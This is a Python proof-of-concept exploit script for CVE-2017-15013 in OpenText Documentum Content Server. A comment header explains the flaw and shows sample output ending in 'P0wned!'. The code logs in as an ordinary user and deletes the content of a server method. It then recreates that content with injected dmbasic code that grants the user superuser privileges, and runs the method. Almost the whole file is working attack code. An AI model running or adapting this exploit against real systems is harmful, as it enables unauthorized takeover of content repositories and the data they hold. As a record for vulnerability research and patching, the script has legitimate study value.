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#!/usr/bin/env python | |
# Opentext Documentum Content Server (formerly known as EMC Documentum Content Server) | |
# contains following design gap, which allows authenticated user to gain privileges | |
# of superuser: | |
# | |
# Content Server stores information about uploaded files in dmr_content objects, | |
# which are queryable and "editable" (before release 7.2P02 any authenticated user | |
# was able to edit dmr_content objects, now any authenticated user may delete | |
# dmr_content object and them create new one with the old identifier) by | |
# authenticated users, this allows any authenticated user to "modify" security-sensitive | |
# dmr_content objects (for example, dmr_content related to dm_method objects) | |
# and gain superuser privileges | |
# | |
# The PoC below demonstrates this vulnerability: | |
# | |
# MacBook-Pro:~ $ python CVE-2017-15013.py | |
# usage: | |
# CVE-2017-15013.py host port user password | |
# MacBook-Pro:~ $ python CVE-2017-15013.py docu72dev01 10001 dm_bof_registry dm_bof_registry | |
# Trying to connect to docu72dev01:10001 as dm_bof_registry ... | |
# Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377 Linux64.Oracle | |
# Trying to find any dm_method object with content... | |
# Trying to poison docbase method dm_Migration | |
# Method verb: dmbasic -eMigration_Agent | |
# Method function: Migration_Agent | |
# Trying to inject new content: | |
# Const glabel As String = "Label" | |
# Const ginfo As String = "Info" | |
# Const gerror As String = "Error" | |
# | |
# Private Sub PrintMessage(mssg As String, mssgtype As String) | |
# If(mssgtype=glabel) Then | |
# Print "<BR><B><FONT size=3>" | |
# Print mssg | |
# print "</FONT></B>" | |
# ElseIf(mssgtype=ginfo) Then | |
# Print "<BR><FONT color=blue>" | |
# Print mssg | |
# print "</FONT>" | |
# ElseIf(mssgtype=gerror) Then | |
# Print "<BR><FONT color=red size=3>" | |
# Print mssg | |
# print "</FONT>" | |
# Else | |
# Print "<BR>" & mssg | |
# End If | |
# End Sub | |
# Private Sub SetupSuperUser(TargetUser As String) | |
# objectid$ = dmAPIGet("id,c,dm_user where user_name = '" & TargetUser & "'") | |
# If objectid$ <> "" then | |
# Status = dmAPISet("set,c," & objectid$ & ",user_privileges",16) | |
# Status = dmAPIExec("save,c," & objectid$) | |
# End If | |
# End Sub | |
# | |
# Sub Migration_Agent(DocbaseName As String, UserName As String, TargetUser As String) | |
# Dim SessionID As String | |
# | |
# SessionID= dmAPIGet("connect," & DocbaseName & "," & UserName & ",") | |
# If SessionID ="" Then | |
# Print "Fail to connect to docbase " & DocbaseName &" as user " & UserName | |
# DmExit(-1) | |
# Else | |
# Print "Connect to docbase " & DocbaseName &" as user " & UserName | |
# End If | |
# | |
# Call SetupSuperUser(TargetUser) | |
# | |
# End Sub | |
# | |
# Removing method's content | |
# method's content has been successfully removed | |
# Creating malicious dmr_content object | |
# Malicious dmr_content object has been successfully created | |
# Becoming superuser... | |
# P0wned! | |
# MacBook-Pro:~ $ python CVE-2017-15013.py docu72dev01 10001 dm_bof_registry dm_bof_registry | |
# Trying to connect to docu72dev01:10001 as dm_bof_registry ... | |
# Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377 Linux64.Oracle | |
# Current user is a superuser, nothing to do | |
# | |
import socket | |
import sys | |
from dctmpy import NULL_ID, RPC_APPLY_FOR_BOOL, RPC_APPLY_FOR_OBJECT | |
from dctmpy.docbaseclient import DocbaseClient | |
from dctmpy.obj.typedobject import TypedObject | |
CIPHERS = "ALL:aNULL:!eNULL" | |
def usage(): | |
print "usage:\n%s host port user password" % sys.argv[0] | |
def main(): | |
if len(sys.argv) != 5: | |
usage() | |
exit(1) | |
(session, docbase) = create_session(*sys.argv[1:5]) | |
if is_super_user(session): | |
print "Current user is a superuser, nothing to do" | |
exit(1) | |
print "Trying to find any dm_method object with content..." | |
method_object = session.get_by_qualification( | |
"dm_method WHERE use_method_content=TRUE " | |
"and method_verb like 'dmbasic -e%'") | |
method_content = session.get_by_qualification( | |
"dmr_content where any parent_id='%s'" | |
% method_object['r_object_id']) | |
print "Trying to poison docbase method %s" % method_object['object_name'] | |
method_verb = method_object['method_verb'] | |
print "Method verb: %s" % method_verb | |
method_function = method_verb[len("dmbasic -e"):] | |
print "Method function: %s" % method_function | |
new_content = \ | |
"Const glabel As String = \"Label\"\n" \ | |
"Const ginfo As String = \"Info\"\n" \ | |
"Const gerror As String = \"Error\"\n" \ | |
"\n" \ | |
"Private Sub PrintMessage(mssg As String, mssgtype As String)\n" \ | |
" If(mssgtype=glabel) Then\n" \ | |
" Print \"<BR><B><FONT size=3>\"\n" \ | |
" Print mssg\n" \ | |
" print \"</FONT></B>\"\n" \ | |
" ElseIf(mssgtype=ginfo) Then\n" \ | |
" Print \"<BR><FONT color=blue>\"\n" \ | |
" Print mssg\n" \ | |
" print \"</FONT>\"\n" \ | |
" ElseIf(mssgtype=gerror) Then\n" \ | |
" Print \"<BR><FONT color=red size=3>\"\n" \ | |
" Print mssg\n" \ | |
" print \"</FONT>\"\n" \ | |
" Else\n" \ | |
" Print \"<BR>\" & mssg\n" \ | |
" End If\n" \ | |
"End Sub\n" \ | |
"Private Sub SetupSuperUser(TargetUser As String)\n" \ | |
" objectid$ = dmAPIGet(\"id,c,dm_user where user_name = '\" & TargetUser & \"'\")\n" \ | |
" If objectid$ <> \"\" then\n" \ | |
" Status = dmAPISet(\"set,c,\" & objectid$ & \",user_privileges\",16)\n" \ | |
" Status = dmAPIExec(\"save,c,\" & objectid$)\n" \ | |
" End If\n" \ | |
"End Sub\n" \ | |
"\n" \ | |
"Sub %s(DocbaseName As String, UserName As String, TargetUser As String)\n" \ | |
" Dim SessionID As String\n" \ | |
"\n" \ | |
" SessionID= dmAPIGet(\"connect,\" & DocbaseName & \",\" & UserName & \",\")\n" \ | |
" If SessionID =\"\" Then\n" \ | |
" Print \"Fail to connect to docbase \" & DocbaseName &\" as user \" & UserName\n" \ | |
" DmExit(-1)\n" \ | |
" Else\n" \ | |
" Print \"Connect to docbase \" & DocbaseName &\" as user \" & UserName\n" \ | |
" End If\n" \ | |
"\n" \ | |
" Call SetupSuperUser(TargetUser)\n" \ | |
"\n" \ | |
"End Sub\n" % method_function | |
print "Trying to inject new content:\n%s" % new_content | |
if method_content is not None: | |
print "Removing method's content" | |
remove = TypedObject(session=session) | |
remove.set_string("OBJECT_TYPE", "dmr_content") | |
remove.set_int("i_vstamp", method_content['i_vstamp']) | |
obj = session.apply(RPC_APPLY_FOR_BOOL, method_content['r_object_id'], "DROP_DUMP", remove) | |
if obj != True: | |
print "Failed to remove method's content, exiting" | |
end_tran(session, False) | |
exit(1) | |
print "method's content has been successfully removed" | |
session.apply(None, NULL_ID, "BEGIN_TRANS") | |
store = session.get_by_qualification("dm_store") | |
format = session.get_by_qualification("dm_format where name='crtext'") | |
handle = session.make_pusher(store['r_object_id']) | |
if handle < 1: | |
print "Unable to create pusher" | |
end_tran(session, False) | |
exit(1) | |
b = bytearray() | |
b.extend(new_content) | |
if not session.start_push(handle, method_object['i_contents_id'], format['r_object_id'], len(b)): | |
print "Failed to start push" | |
end_tran(session, False) | |
exit(1) | |
session.upload(handle, b) | |
data_ticket = session.end_push_v2(handle)['DATA_TICKET'] | |
print "Creating malicious dmr_content object" | |
content = TypedObject(session=session) | |
content.set_string("OBJECT_TYPE", "dmr_content") | |
content.set_bool("IS_NEW_OBJECT", True) | |
content.set_id("storage_id", store['r_object_id']) | |
content.set_id("format", format['r_object_id']) | |
content.set_int("data_ticket", data_ticket) | |
content.set_id("parent_id", method_object['r_object_id']) | |
content.set_int("page", 0) | |
content.set_string("full_format", format['name']) | |
content.set_int("content_size", len(b)) | |
if not session.save_cont_attrs(method_object['i_contents_id'], content): | |
print "Failed to create content" | |
end_tran(session, False) | |
exit(1) | |
print "Malicious dmr_content object has been successfully created" | |
end_tran(session, True) | |
print "Becoming superuser..." | |
method = TypedObject(session=session) | |
method.set_string("METHOD", method_object['object_name']) | |
method.set_string("ARGUMENTS", "%s %s %s" % ( | |
session.docbaseconfig['object_name'], | |
session.serverconfig['r_install_owner'], | |
sys.argv[3])) | |
session.apply(RPC_APPLY_FOR_OBJECT, NULL_ID, "DO_METHOD", method) | |
r = session.query( | |
"SELECT user_privileges FROM dm_user " | |
"WHERE user_name=USER") \ | |
.next_record()[ | |
'user_privileges'] | |
if r != 16: | |
print "Failed" | |
exit(1) | |
print "P0wned!" | |
def end_tran(session, commit=False): | |
obj = TypedObject(session=session) | |
obj.set_bool("COMMIT", commit) | |
session.apply(None, NULL_ID, "END_TRANS", obj) | |
def create_session(host, port, user, pwd): | |
print "Trying to connect to %s:%s as %s ..." % (host, port, user) | |
session = None | |
try: | |
session = DocbaseClient( | |
host=host, port=int(port), | |
username=user, password=pwd) | |
except socket.error, e: | |
if e.errno == 54: | |
session = DocbaseClient( | |
host=host, port=int(port), | |
username=user, password=pwd, | |
secure=True, ciphers=CIPHERS) | |
else: | |
raise e | |
docbase = session.docbaseconfig['object_name'] | |
version = session.serverconfig['r_server_version'] | |
print "Connected to %s:%s, docbase: %s, version: %s" % \ | |
(host, port, docbase, version) | |
return (session, docbase) | |
def is_super_user(session): | |
user = session.get_by_qualification("dm_user WHERE user_name=USER") | |
if user['user_privileges'] == 16: | |
return True | |
group = session.get_by_qualification( | |
"dm_group where group_name='dm_superusers' " | |
"AND any i_all_users_names=USER") | |
if group is not None: | |
return True | |
return False | |
if __name__ == '__main__': | |
main() |
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